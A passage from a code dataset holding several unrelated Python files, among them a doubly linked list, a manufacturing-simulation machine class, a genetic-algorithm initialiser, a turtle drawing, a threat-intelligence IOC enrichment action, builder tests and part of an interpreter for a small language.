empty\")\r\n else:\r\n n = self.head\r\n while n is not None:\r\n print(n.data, \"-->\", end=\" \")\r\n n = n.nex_ref\r\n\r\n def print_DDL_backward(self):\r\n if self.head is None:\r\n print(\"The linked list is empty\")\r\n else:\r\n n = self.head\r\n while n.nex_ref is not None:\r\n n = n.nex_ref\r\n while n is not None:\r\n print(n.data, \"-->\", end=\" \")\r\n n = n.prev_ref\r\n\r\n def insert_To_empty(self, data):\r\n if self.head is None:\r\n new_node = Node(data)\r\n self.head = new_node\r\n else:\r\n print(\"Linked list is not empty\")\r\n\r\n def add_To_begin(self, data):\r\n new_node = Node(data)\r\n if self.head is None:\r\n self.head = new_node\r\n else:\r\n new_node.nex_ref = self.head\r\n self.head.prev_ref = new_node\r\n self.head = new_node\r\n new_node = Node(data)\r\n\r\n def add_To_end(self, data):\r\n new_node = Node(data)\r\n if self.head is None:\r\n self.head = new_node\r\n else:\r\n n = self.head\r\n while n.nex_ref is not None:\r\n n = n.nex_ref\r\n n.nex_ref = new_node\r\n new_node.prev_ref = n\r\n\r\n def Add_After(self, data, prev):\r\n if self.head is None:\r\n print(\"Linked list is empty.\")\r\n else:\r\n n = self.head\r\n while n is not None:\r\n if prev == n.data:\r\n break\r\n n = n.nex_ref\r\n if n is None:\r\n print(\"the node is absent in the linked list\")\r\n else:\r\n new_node = Node(data)\r\n new_node.nex_ref = n.nex_ref\r\n new_node.prev_ref = n\r\n if n.nex_ref is not None:\r\n n.nex_ref.prev_ref = new_node\r\n n.nex_ref = new_node\r\n\r\n def Add_before(self, data, next):\r\n if self.head is None:\r\n print(\"Linked list is empty.\")\r\n else:\r\n n = self.head\r\n while n is not None:\r\n if next == n.data:\r\n break\r\n n = n.nex_ref\r\n if n is None:\r\n print(\"The given node is absent in the linked list\")\r\n else:\r\n new_node = Node(data)\r\n new_node.nex_ref = n\r\n new_node.prev_ref = n.prev_ref\r\n if n.prev_ref is not None:\r\n n.prev_ref.nex_ref = new_node\r\n else:\r\n self.head = new_node\r\n n.prev_ref = new_node\r\n\r\n def delete_begin(self):\r\n if self.head is None:\r\n print(\"Linked list is empty\")\r\n return\r\n if self.head.nex_ref is None:\r\n self.head = None\r\n else:\r\n self.head = self.head.nex_ref\r\n self.head.prev_ref = None\r\n\r\n def delete_end(self):\r\n if self.head is None:\r\n print(\"The linked list is empty\")\r\n return\r\n if self.head.nex_ref is None:\r\n self.head = None\r\n else:\r\n n = self.head\r\n while n.nex_ref is not None:\r\n n = n.nex_ref\r\n n.prev_ref.nex_ref = None\r\n\r\n def delete_By_value(self, value):\r\n if self.head is None:\r\n print(\"The linked list is empty\")\r\n return\r\n if self.head.nex_ref is None:\r\n if value == self.head.data:\r\n self.head = None\r\n else:\r\n print(\"The value is not present\")\r\n return\r\n if self.head.data == value:\r\n self.head = self.head.nex_ref\r\n self.head.prev_ref = None\r\n return\r\n n = self.head\r\n while n.nex_ref is not None:\r\n if value == n.data:\r\n break\r\n n = n.nex_ref\r\n if n.nex_ref is not None:\r\n n.nex_ref.prev_ref = n.prev_ref\r\n n.prev_ref.nex_ref = n.nex_ref\r\n else:\r\n if n.data == value:\r\n n.prev_ref.nex_ref = None\r\n else:\r\n print(\"The value is empty\")\r\n","repo_name":"Tsegaye16/Data-structure-and-algorithm-with-python","sub_path":"Doubt_LL (2).py","file_name":"Doubt_LL (2).py","file_ext":"py","file_size_in_byte":4577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72575621489","text":"import simpy\nfrom RandomNumberGenerator import RandomNumberGenerator\n\nfrom Machine import Machine\n\n# ================================================================\n# the BatchScrapMachine object\n# ================================================================\nclass BatchScrapMachine(Machine):\n \n # =======================================================================\n # constructor run every time a new instance is created\n # calls the Machine constructor, but also reads attributes for \n # scraping distribution\n # ======================================================================= \n def __init__(self, id, name, capacity=1, \\\n processingTime=None, repairman='None',\\\n scrapQuantity={},\n operatorPool='None',operationType='None',\\\n setupTime=None, loadTime=None,\n canDeliverOnInterruption=False, \n technology=None,\n **kw):\n if not processingTime:\n processingTime = {'distributionType': 'Fixed',\n 'mean': 1}\n # initialize using the default method of the object \n Machine.__init__(self,id=id,name=name,\\\n capacity=capacity,\\\n processingTime=processingTime,\n repairman=repairman,\n canDeliverOnInterruption=canDeliverOnInterruption,\n operatorPool=operatorPool,operationType=operationType,\\\n setupTime=setupTime, loadTime=loadTime, \n technology=technology \n )\n\n # set the attributes of the scrap quantity distribution\n if not scrapQuantity:\n scrapQuantity = {'Fixed':{'mean': 0}}\n \n self.scrapRng=RandomNumberGenerator(self, scrapQuantity)\n from Globals import G\n G.BatchScrapMachineList.append(self)\n\n # =======================================================================\n # removes an Entity from the Object the Entity to be removed is passed\n # as argument by getEntity of the receiver\n # extends the default behaviour so that\n # it can scrap a number of units before disposing the Batch/SubBatch\n # =======================================================================\n def removeEntity(self, entity=None):\n activeEntity = Machine.removeEntity(self, entity)\n scrapQuantity=self.scrapRng.generateNumber() \n activeEntity.numberOfUnits-=int(scrapQuantity) # the scrapQuantity should be integer at whatever case\n if activeEntity.numberOfUnits<0:\n activeEntity.numberOfUnits==0\n return activeEntity\n\n\n # =======================================================================\n # calculates the processing time\n # extends the default behaviour so that \n # the per-unit processing time is multiplied with the number of units\n # ======================================================================= \n def calculateProcessingTime(self):\n activeEntity = self.getActiveObjectQueue()[0]\n # this is only for processing of the initial wip\n if self.isProcessingInitialWIP:\n if activeEntity.unitsToProcess:\n return self.rng.generateNumber()*activeEntity.unitsToProcess \n return self.rng.generateNumber()*activeEntity.numberOfUnits \n\n \n","repo_name":"Nexedi/dream","sub_path":"dream/simulation/BatchScrapMachine.py","file_name":"BatchScrapMachine.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"20"} +{"seq_id":"71235497331","text":"#!/usr/bin/env python\n\n# This module creates a population of random OS and MS chromosomes\n\nimport random\nfrom src import config\n\n\ndef gen_OS(parameters):\n jobs = parameters['jobs']\n\n OS = []\n i = 0\n for job in jobs:\n for op in job:\n OS.append(i)\n i = i+1\n\n random.shuffle(OS)\n\n return OS\n\n\ndef gen_MS(parameters):\n jobs = parameters['jobs']\n\n MS = []\n for job in jobs:\n for op in job:\n randomMachine = random.randint(0, len(op)-1)\n MS.append(randomMachine)\n\n return MS\n\n\ndef init_pop(parameters):\n gen1 = []\n\n for i in range(config.popSize):\n OS = gen_OS(parameters)\n MS = gen_MS(parameters)\n gen1.append((OS, MS))\n # genl = init_group(gen1, parameters)\n\n return gen1\n\n# def init_group(Population, parameters):\n\n\n# return genl","repo_name":"KEAML-JLU/AFCI","sub_path":"AFCI_GA/src/genetic/encoding.py","file_name":"encoding.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"5799285303","text":"import turtle\n\ndef drawSprite(someturtle, numLegs, legLength):\n for legs in range(numLegs):\n someturtle.shape(\"circle\")\n someturtle.stamp()\n someturtle.shape(\"classic\")\n someturtle.left(360/numLegs)\n someturtle.forward(legLength)\n someturtle.stamp()\n someturtle.forward(-legLength)\n\ndef main():\n wn = turtle.Screen()\n wn.bgcolor(\"lightgreen\")\n\n steve = turtle.Turtle()\n steve.pensize(3)\n steve.speed(8)\n steve.color(\"hotpink\")\n\n drawSprite(steve, 15, 120)\n\n wn.exitonclick()\n\nmain()\n","repo_name":"farmkate/asciichan","sub_path":"LC101drawSprite.py","file_name":"LC101drawSprite.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18709206023","text":"from SiemplifyUtils import output_handler\nfrom SiemplifyAction import SiemplifyAction\nfrom SiemplifyUtils import add_prefix_to_dict, convert_dict_to_json_result_dict\nfrom FlashpointManager import FlashpointManager, dict_to_flat\nimport json\n\nSCRIPT_NAME = \"Flashpoint - IOC Enrichment\"\n\n#The sorting can be 'des' for descending and 'asc' ascending\nSORT_RESULTS_TIMESTAMP = 'desc'\n\n@output_handler\ndef main():\n siemplify = SiemplifyAction()\n siemplify.script_name = SCRIPT_NAME\n\n conf = siemplify.get_configuration(\"Flashpoint\")\n api_key = conf[\"API Key\"]\n\n results_limit = siemplify.extract_action_param(\"Limit\")\n\n flashpoint_manager = FlashpointManager(api_key)\n\n enriched_entities = []\n output_message = \"\"\n json_results = {}\n not_found_entities = []\n ioc_info_flat ={}\n result_value = False\n\n for entity in siemplify.target_entities:\n try:\n report = flashpoint_manager.IOC_Enrichment(entity.identifier, results_limit, SORT_RESULTS_TIMESTAMP)\n if report:\n # Attach report\n siemplify.result.add_entity_json(f\"The entity {entity.identifier} was enriched\", json.dumps(report))\n ioc_info_flat = dict_to_flat(report[0])\n \n #adding the FlashPoint prefix to each entity detail to enable the analysis of the entity data\n ioc_info_flat = add_prefix_to_dict(ioc_info_flat, \"FlashPoint\")\n entity.additional_properties.update(ioc_info_flat)\n entity.is_enriched = True\n \n #Add Insight and mark as suspicious if risk score exceed threshold\n entity.is_suspicious = True\n result_value = True\n insight_msg = \"Flashpoint - {0} marked as suspicious\".format(entity.identifier)\n siemplify.add_entity_insight(entity, insight_msg, triggered_by=\"Flashpoint\")\n json_results[entity.identifier] = report\n enriched_entities.append(entity)\n \n else:\n not_found_entities.append(entity.identifier)\n \n except Exception as e:\n # An error occurred - skip entity and continue\n siemplify.LOGGER.error(\"An error occurred on entity: {}.\\n{}.\".format(entity.identifier, str(e)))\n siemplify.LOGGER.exception(e)\n\n if not_found_entities:\n output_message += \"The following entities were not found in Flashpoint: {0}.\".format(\"\\n\".join(not_found_entities))\n \n siemplify.result.add_result_json(convert_dict_to_json_result_dict(json_results))\n siemplify.end(output_message, result_value)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"chronicle/tip-marketplace-uncertified","sub_path":"Integrations/Flashpoint/ActionsScripts/IOC_Enrichment.py","file_name":"IOC_Enrichment.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17218719894","text":"from groovy_thing_back.domain.stuff import Stuff, StuffBuilder\nfrom groovy_thing_back.domain.use_cycle import UseCycle\nfrom groovy_thing_back.domain.love_type import LoveType\n\n\ndef test_build_stuff_use():\n # execute\n builder = StuffBuilder()\n builder.doc_id('abc123')\n builder.name('test')\n builder.use_cycle(use_cycle=UseCycle.DAILY)\n actual = builder.build()\n\n # verify\n expect = {\n \"doc_id\": \"abc123\",\n \"name\": \"test\",\n \"label\": [],\n \"use_cycle\": UseCycle.DAILY,\n \"love_type\": LoveType.NOT_SELECTED\n }\n assert actual == Stuff(**expect)\n\n\ndef test_build_stuff_not_use():\n # execute\n builder = StuffBuilder()\n builder.doc_id('abc123')\n builder.name('test2')\n builder.use_cycle(\n use_cycle=UseCycle.NOT_USE,\n love_type=LoveType.MEMORY)\n actual = builder.build()\n\n # verify\n expect = {\n \"doc_id\": \"abc123\",\n \"name\": \"test2\",\n \"label\": [],\n \"use_cycle\": UseCycle.NOT_USE,\n \"love_type\": LoveType.MEMORY\n }\n assert actual == Stuff(**expect)\n\n\ndef test_convert_firestore_data_use_stuff():\n # setup\n DUMMY_DOC_ID = \"dummy\"\n data = {\n \"doc_id\": DUMMY_DOC_ID,\n \"name\": \"test\",\n \"label\": [\"ラベル\"],\n \"use_cycle\": UseCycle.DAILY,\n \"love_type\": LoveType.NOT_SELECTED\n }\n stuff = Stuff(**data)\n\n # execute\n actual = stuff.to_firestore_data()\n\n # verify\n expect = {\n \"name\": \"test\",\n \"label\": [\"ラベル\"],\n \"use_cycle\": UseCycle.DAILY.label(),\n \"love_type\": LoveType.NOT_SELECTED.label()\n }\n assert actual[0] == DUMMY_DOC_ID\n assert actual[1] == expect\n","repo_name":"koboriakira/groove-thing-back","sub_path":"tests/domain/test_stuff.py","file_name":"test_stuff.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39334014196","text":"from __future__ import annotations\n\nfrom time import sleep, time\nfrom typing import Any, List, Tuple\n\nimport numlab.nl_ast as ast\nfrom numlab import builtin\nfrom numlab.lang.context import Context\nfrom numlab.lang.type import Instance, Type\nfrom numlab.lang.visitor import Visitor\nimport numlab.exceptions as excpt\n\n# pylint: disable=function-redefined\n# pylint: disable=missing-function-docstring\n\nOPERATOR_FUNC = {\n ast.Operator.ADD: \"__add__\",\n ast.Operator.SUB: \"__sub__\",\n ast.Operator.MUL: \"__mul__\",\n ast.Operator.DIV: \"__truediv__\",\n ast.Operator.POW: \"__pow__\",\n ast.Operator.MOD: \"__mod__\",\n ast.Operator.POW: \"__pow__\",\n ast.Operator.LSHIFT: \"__lshift__\",\n ast.Operator.RSHIFT: \"__rshift__\",\n ast.Operator.BIT_XOR: \"__xor__\",\n ast.Operator.BIT_AND: \"__and__\",\n ast.Operator.BIT_OR: \"__or__\",\n ast.Operator.FLOORDIV: \"__floordiv__\",\n ast.Operator.MATMUL: \"__matmul__\",\n ast.CmpOp.IN: \"__contains__\",\n ast.CmpOp.EQ: \"__eq__\",\n ast.CmpOp.NOT_EQ: \"__ne__\",\n ast.CmpOp.LT: \"__lt__\",\n ast.CmpOp.GT: \"__gt__\",\n ast.CmpOp.LTE: \"__le__\",\n ast.CmpOp.GTE: \"__ge__\",\n}\n\nOPER_STAT_NAME = {\n ast.Operator.ADD: \"add_count\",\n ast.Operator.SUB: \"sub_count\",\n ast.Operator.MUL: \"mul_count\",\n ast.Operator.DIV: \"truediv_count\",\n ast.Operator.POW: \"pow_count\",\n ast.Operator.MOD: \"mod_count\",\n ast.Operator.POW: \"pow_count\",\n ast.Operator.LSHIFT: \"lshift_count\",\n ast.Operator.RSHIFT: \"rshift_count\",\n ast.Operator.BIT_XOR: \"bit_xor_count\",\n ast.Operator.BIT_AND: \"bit_and_count\",\n ast.Operator.BIT_OR: \"bit_or_count\",\n ast.Operator.FLOORDIV: \"floordiv_count\",\n ast.Operator.MATMUL: \"matmul_count\",\n ast.Operator.OR: \"or_count\",\n ast.Operator.AND: \"and_count\",\n ast.CmpOp.IN: \"contains_count\",\n ast.CmpOp.EQ: \"eq_count\",\n ast.CmpOp.NOT_EQ: \"ne_count\",\n ast.CmpOp.LT: \"lt_count\",\n ast.CmpOp.GT: \"gt_count\",\n ast.CmpOp.LTE: \"le_count\",\n ast.CmpOp.GTE: \"ge_count\",\n}\n\n\nCONFIG_OPTS_VALIDATOR = {\n \"max_time\": (builtin.nl_float,),\n \"max_var_count\": (builtin.nl_int,),\n \"max_call_count\": (builtin.nl_int,),\n \"max_add_count\": (builtin.nl_int,),\n \"max_sub_count\": (builtin.nl_int,),\n \"max_mul_count\": (builtin.nl_int,),\n \"max_truediv_count\": (builtin.nl_int,),\n \"max_pow_count\": (builtin.nl_int,),\n \"max_mod_count\": (builtin.nl_int,),\n \"max_lshift_count\": (builtin.nl_int,),\n \"max_rshift_count\": (builtin.nl_int,),\n \"max_bit_xor_count\": (builtin.nl_int,),\n \"max_bit_and_count\": (builtin.nl_int,),\n \"max_bit_or_count\": (builtin.nl_int,),\n \"max_floordiv_count\": (builtin.nl_int,),\n \"max_matmul_count\": (builtin.nl_int,),\n \"max_contains_count\": (builtin.nl_int,),\n \"max_eq_count\": (builtin.nl_int,),\n \"max_ne_count\": (builtin.nl_int,),\n \"max_lt_count\": (builtin.nl_int,),\n \"max_gt_count\": (builtin.nl_int,),\n \"max_le_count\": (builtin.nl_int,),\n \"max_ge_count\": (builtin.nl_int,),\n \"call_time\": (builtin.nl_float, builtin.nl_function),\n \"assign_time\": (builtin.nl_float, builtin.nl_function),\n \"add_time\": (builtin.nl_float, builtin.nl_function),\n \"sub_time\": (builtin.nl_float, builtin.nl_function),\n \"mul_time\": (builtin.nl_float, builtin.nl_function),\n \"truediv_time\": (builtin.nl_float, builtin.nl_function),\n \"pow_time\": (builtin.nl_float, builtin.nl_function),\n \"mod_time\": (builtin.nl_float, builtin.nl_function),\n \"lshift_time\": (builtin.nl_float, builtin.nl_function),\n \"rshift_time\": (builtin.nl_float, builtin.nl_function),\n \"bit_xor_time\": (builtin.nl_float, builtin.nl_function),\n \"bit_and_time\": (builtin.nl_float, builtin.nl_function),\n \"bit_or_time\": (builtin.nl_float, builtin.nl_function),\n \"floordiv_time\": (builtin.nl_float, builtin.nl_function),\n \"matmul_time\": (builtin.nl_float, builtin.nl_function),\n \"contains_time\": (builtin.nl_float, builtin.nl_function),\n \"eq_time\": (builtin.nl_float, builtin.nl_function),\n \"ne_time\": (builtin.nl_float, builtin.nl_function),\n \"lt_time\": (builtin.nl_float, builtin.nl_function),\n \"gt_time\": (builtin.nl_float, builtin.nl_function),\n \"le_time\": (builtin.nl_float, builtin.nl_function),\n \"ge_time\": (builtin.nl_float, builtin.nl_function),\n}\n\n\ndef _truth(inst: Instance) -> bool:\n if \"__bool__\" in inst._dict:\n return inst.get(\"__bool__\")(inst).get(\"value\")\n if \"__len__\" in inst._dict:\n return inst.get(\"__len__\")(inst).get(\"value\") > 0\n return builtin.nl_bool(True).get(\"value\")\n\n\ndef ioper(oper: str) -> str:\n return f\"__i{oper[2:-2]}__\"\n\n\ndef roper(oper: str) -> str:\n return f\"__r{oper[2:-2]}__\"\n\n\ndef convert_to_nl_obj(obj: Any):\n if isinstance(obj, Instance):\n return obj\n if isinstance(obj, bool):\n return builtin.nl_bool(obj)\n if isinstance(obj, int):\n return builtin.nl_int(obj)\n if isinstance(obj, float):\n return builtin.nl_float(obj)\n if isinstance(obj, str):\n return builtin.nl_str(obj)\n if isinstance(obj, list):\n items = [convert_to_nl_obj(item) for item in obj]\n return builtin.nl_list(items)\n if isinstance(obj, tuple):\n items = [convert_to_nl_obj(item) for item in obj]\n return builtin.nl_tuple(items)\n raise TypeError(f\"Unsupported type: {type(obj)}\")\n\n\nclass EvalVisitor:\n\n visitor_obj = Visitor()\n visitor = visitor_obj.visitor\n callback = visitor_obj.callback\n\n def __init__(self, context: Context):\n self.context = context\n self.flags = {\n \"inside_loop\": 0,\n \"break\": False,\n \"continue\": False,\n \"return_val\": [],\n \"class\": [],\n \"current_config\": None,\n \"start_time\": 0,\n }\n self.stats = {}\n self.reset_stats()\n self.configs = {}\n self.in_sim = []\n\n @callback\n def check_time_callback(self, node: ast.AST):\n if not self.in_sim:\n return\n config = self.in_sim[-1]\n if not \"max_time\" in config:\n return\n start = self.flags[\"start_time\"]\n now = time()\n if now - start > config[\"max_time\"].get(\"value\"):\n raise TimeoutError(f\"Time limit exceeded: {config['max_time']}s\")\n\n @callback\n def main_callbalck(self, node: ast.AST):\n self.set_stat(\"time\", time() - self.flags[\"start_time\"])\n\n @callback\n def time_config_callback(self, node: ast.AST):\n if not self.in_sim:\n return\n config = self.in_sim[-1]\n if isinstance(node, ast.CallExpr) and \"call_time\" in config:\n val = self.get_config_val(\"call_time\", config).get(\"value\")\n sleep(val)\n return\n if (\n isinstance(node, (ast.AnnAssignStmt, ast.AugAssignStmt, ast.AssignStmt))\n and \"assign_time\" in config\n ):\n val = self.get_config_val(\"assign_time\", config).get(\"value\")\n sleep(val)\n return\n if isinstance(node, ast.Stmt) and \"stmt_time\" in config:\n val = self.get_config_val(\"stmt_time\", config).get(\"value\")\n sleep(val)\n return\n if isinstance(node, ast.BinOpExpr):\n conf_name = OPER_STAT_NAME[node.op][:-5] + \"time\"\n if conf_name in config:\n val = self.get_config_val(conf_name, config).get(\"value\")\n sleep(val)\n return\n\n @callback\n def check_max_callbalck(self, node: ast.AST):\n if not self.in_sim:\n return\n config = self.in_sim[-1]\n if (\n \"max_var_count\" in config\n and self.context.count_vars() > config[\"max_var_count\"].get(\"value\")\n ):\n raise TimeoutError(f\"Variable limit exceeded: {config['max_var_count']}\")\n max_configs = [k for k in config if k.startswith(\"max_\")]\n for max_config in max_configs:\n if not max_config in config:\n continue\n stat_name = max_config[4:]\n if self.stats[stat_name] > config[max_config].get(\"value\"):\n raise Exception(f\"{stat_name} limit exceeded: {config[max_config]}\")\n\n def get_config_val(self, name, config) -> Instance:\n if not name in config:\n return None\n obj = config[name]\n base_type = CONFIG_OPTS_VALIDATOR[name][0]\n if obj.type.subtype(builtin.nl_function):\n val = obj.get(\"__call__\")(obj)\n if not val.type.subtype(base_type):\n raise TypeError(\n f\"{name} must be {base_type.type_name}. Function is \"\n f\"returning type {val.type.type_name}\"\n )\n return val\n return obj\n\n def reset_stats(self):\n self.define(\"stats\", builtin.nl_dict({}))\n self.set_stats(\n [\n (\"time\", 0),\n (\"assign_count\", 0),\n (\"var_count\", 0),\n (\"call_count\", 0),\n (\"add_count\", 0),\n (\"sub_count\", 0),\n (\"mul_count\", 0),\n (\"truediv_count\", 0),\n (\"pow_count\", 0),\n (\"mod_count\", 0),\n (\"floordiv_count\", 0),\n (\"lshift_count\", 0),\n (\"rshift_count\", 0),\n (\"matmul_count\", 0),\n (\"bit_xor_count\", 0),\n (\"bit_and_count\", 0),\n (\"bit_or_count\", 0),\n (\"contains_count\", 0),\n (\"eq_count\", 0),\n (\"ne_count\", 0),\n (\"lt_count\", 0),\n (\"gt_count\", 0),\n (\"le_count\", 0),\n (\"ge_count\", 0),\n (\"and_count\", 0),\n (\"or_count\", 0),\n ]\n )\n\n def set_stats(self, items: List[Tuple[str, Any]]):\n stats = self.resolve(\"stats\")\n for name, value in items:\n self.stats[name] = value\n stats.get(\"__setitem__\")(\n stats, convert_to_nl_obj(name), convert_to_nl_obj(value)\n )\n\n def set_stat(self, name, value):\n self.stats[name] = value\n stats = self.resolve(\"stats\")\n stats.get(\"__setitem__\")(\n stats, convert_to_nl_obj(name), convert_to_nl_obj(value)\n )\n\n def resolve(self, obj_name):\n val = self.context.resolve(obj_name)\n if val is None:\n val = builtin.resolve(obj_name)\n if val is None:\n raise excpt.RuntimeError(f\"{obj_name} is not defined\")\n return val\n\n def define(self, name, value):\n if self.flags[\"class\"]:\n class_obj = self.flags[\"class\"][-1]\n class_obj.add_attribute(name, value)\n else:\n self.context.define(name, value)\n self.set_stat(\"var_count\", self.context.count_vars())\n\n @visitor\n def eval(self, node: ast.Program):\n start = time()\n self.flags[\"start_time\"] = start\n for stmt in node.stmts:\n self.eval(stmt)\n end = time()\n self.set_stat(\"time\", end - start)\n\n @visitor\n def eval(self, node: ast.FuncDefStmt):\n for arg in node.args.args:\n if arg.default is not None:\n arg.default = self.eval(arg.default)\n\n def func(*args, **kwargs):\n self.context = self.context.make_child()\n for arg, value in zip(node.args.args, args):\n self.define(arg.arg.name_id, value)\n for arg, value in kwargs.items():\n self.define(arg, value)\n last_stmt = None\n for stmt in node.body:\n last_stmt = self.eval(stmt)\n if self.flags[\"return_val\"]:\n break\n self.context = self.context.parent\n val = (\n self.flags[\"return_val\"].pop()\n if self.flags[\"return_val\"]\n else Type.get(\"none\")\n )\n return last_stmt if node.name is None else val\n\n func_obj = builtin.nl_function(func)\n func_obj.set(\"args\", node.args)\n if node.name is not None:\n self.define(node.name.name_id, func_obj)\n return func_obj\n\n @visitor\n def eval(self, node: ast.ClassDefStmt):\n bases = [self.eval(base) for base in node.bases]\n if len(bases) > 1:\n raise NotImplementedError(\"Multiple inheritance not supported\")\n if not bases:\n bases = [builtin.nl_object]\n new_type = Type(node.name, bases[0])\n self.define(node.name.name_id, new_type)\n self.flags[\"class\"].append(new_type)\n\n def new(cls, *args, **kwargs):\n inst = Instance(cls)\n init = inst.get(\"__init__\")\n if isinstance(init, Instance):\n init.get(\"__call__\")(init, inst, *args, **kwargs)\n else:\n init(inst, *args, **kwargs)\n return inst\n\n new_type.add_attribute(\"__new__\", new)\n self.context = self.context.make_child()\n for stmt in node.body:\n self.eval(stmt)\n if node.decorators:\n raise NotImplementedError(\"Decorators not supported\")\n self.flags[\"class\"].pop()\n self.context = self.context.parent\n\n @visitor\n def eval(self, node: ast.ConfDefStmt):\n base_config = {}\n if node.base is not None:\n base_config = self.configs.get(node.base, None)\n if base_config is None:\n raise excpt.RuntimeError(f\"Config {node.base} is not defined\")\n self.flags[\"current_config\"] = node.name\n self.configs[node.name] = base_config.copy()\n for conf_opt in node.configs:\n self.eval(conf_opt)\n\n @visitor\n def eval(self, node: ast.ConfOption):\n if node.name not in CONFIG_OPTS_VALIDATOR:\n raise excpt.InvalidConfigError(f\"Unknown config option: {node.name}\")\n val = self.eval(node.value)\n if not val.type.subtype(CONFIG_OPTS_VALIDATOR[node.name]):\n raise excpt.InvalidTypeError(\n f\"Invalid value for config option: {node.name}. \"\n \"Expected: \"\n + repr([ct.type_name for ct in CONFIG_OPTS_VALIDATOR[node.name]])\n )\n self.configs[self.flags[\"current_config\"]][node.name] = val\n\n @visitor\n def eval(self, node: ast.ReturnStmt):\n if self.context.parent is None:\n raise RuntimeError(\"Cannot return from top-level code\")\n val = node.expr.elts\n if len(val) == 1:\n val = val[0]\n self.flags[\"return_val\"].append(self.eval(val))\n\n @visitor\n def eval(self, node: ast.DeleteStmt):\n for target in node.targets:\n target.ctx = ast.ExprCtx.DEL\n self.eval(target)\n\n def _assign(self, target, value):\n self.set_stat(\"assign_count\", self.stats[\"assign_count\"] + 1)\n if isinstance(target, ast.NameExpr):\n self.define(target.name_id, value)\n elif isinstance(target, ast.AttributeExpr):\n attr_val = self.eval(target.value)\n attr_val.set(target.attr, value)\n elif isinstance(target, ast.SubscriptExpr):\n subs_value = self.eval(target.value)\n slc = self.eval(target.slice)\n subs_value.get(\"__setitem__\")(subs_value, slc)\n else:\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.AssignStmt):\n targets: List[ast.TupleExpr] = node.targets\n values = [self.eval(item) for item in node.value.elts]\n for i, val in enumerate(values):\n if isinstance(val, ast.NameExpr):\n values[i] = self.resolve(val.name_id)\n values[i] = values[i].get_value()\n for target_tuple in targets:\n if len(target_tuple.elts) != len(values):\n raise excpt.RuntimeError(\"Too many values to unpack\")\n for target, value in zip(target_tuple.elts, values):\n self._assign(target, value)\n\n @visitor\n def eval(self, node: ast.AugAssignStmt):\n target = self.eval(node.target.elts[0])\n value = self.eval(node.value.elts[0])\n self.set_stat(\"assign_count\", self.stats[\"assign_count\"] + 1)\n self.set_stat(OPER_STAT_NAME[node.op], self.stats[OPER_STAT_NAME[node.op]] + 1)\n oper = ioper(OPERATOR_FUNC[node.op])\n target.get(oper)(target, value)\n\n @visitor\n def eval(self, node: ast.AnnAssignStmt):\n target = self.eval(node.target)\n value = self.eval(node.value)\n self._assign(target, value)\n\n @visitor\n def eval(self, node: ast.ForStmt):\n self.flags[\"inside_loop\"] += 1\n obj = self.eval(node.iter_expr.elts[0])\n if not isinstance(node.target, ast.NameExpr):\n raise excpt.RuntimeError(\"For loop target must be a NameExpr\")\n for item in obj: # pylint: disable=not-an-iterable\n target_name = node.target.name_id\n self.define(target_name, item)\n for stmt in node.body:\n self.eval(stmt)\n if self.flags[\"break\"] or self.flags[\"return_val\"]:\n break\n if self.flags[\"continue\"]:\n self.flags[\"continue\"] = False\n break\n if self.flags[\"break\"] or self.flags[\"return_val\"]:\n break\n if self.flags[\"break\"]:\n self.flags[\"break\"] = False\n elif not self.flags[\"return_val\"]:\n for stmt in node.orelse:\n self.eval(stmt)\n self.flags[\"inside_loop\"] -= 1\n\n @visitor\n def eval(self, node: ast.WhileStmt):\n self.flags[\"inside_loop\"] += 1\n while _truth(self.eval(node.test)):\n for stmt in node.body:\n self.eval(stmt)\n if self.flags[\"break\"]:\n break\n if self.flags[\"continue\"]:\n self.flags[\"continue\"] = False\n break\n if self.flags[\"break\"]:\n break\n if self.flags[\"break\"]:\n self.flags[\"break\"] = False\n else:\n for stmt in node.orelse:\n self.eval(stmt)\n self.flags[\"inside_loop\"] -= 1\n\n @visitor\n def eval(self, node: ast.IfStmt):\n if _truth(self.eval(node.test)):\n for stmt in node.body:\n self.eval(stmt)\n if self.flags[\"break\"]:\n break\n if self.flags[\"continue\"]:\n break\n if self.flags[\"return_val\"]:\n break\n else:\n for stmt in node.orelse:\n self.eval(stmt)\n if self.flags[\"break\"]:\n break\n if self.flags[\"continue\"]:\n break\n if self.flags[\"return_val\"]:\n break\n\n @visitor\n def eval(self, node: ast.Begsim):\n val = node.config\n if not isinstance(val, ast.NameExpr):\n raise excpt.InvalidTypeError(\"Invalid value for begsim config option\")\n conf_name = val.name_id\n if not conf_name in self.configs:\n raise excpt.RuntimeError(f\"Unknown config: {conf_name}\")\n self.in_sim.append(self.configs[val.name_id])\n\n @visitor\n def eval(self, node: ast.Endsim):\n if not self.in_sim:\n raise excpt.RuntimeError(\"Endsim without begsim\")\n self.in_sim.pop()\n\n @visitor\n def eval(self, node: ast.ResetStats):\n self.reset_stats()\n\n @visitor\n def eval(self, node: ast.WithStmt):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.WithItem):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.RaiseStmt):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.TryStmt):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.ExceptHandler):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.AssertStmt):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.GlobalStmt):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.NonlocalStmt):\n raise NotImplementedError()\n\n @visitor\n def eval(self, node: ast.PassStmt):\n return node\n\n @visitor\n def eval(self, node: ast.BreakStmt):\n self.flags[\"break\"] = True\n\n @visitor\n def eval(self, node: ast.ContinueStmt):\n self.flags[\"continue\"] = True\n\n @visitor\n def eval(self, node: 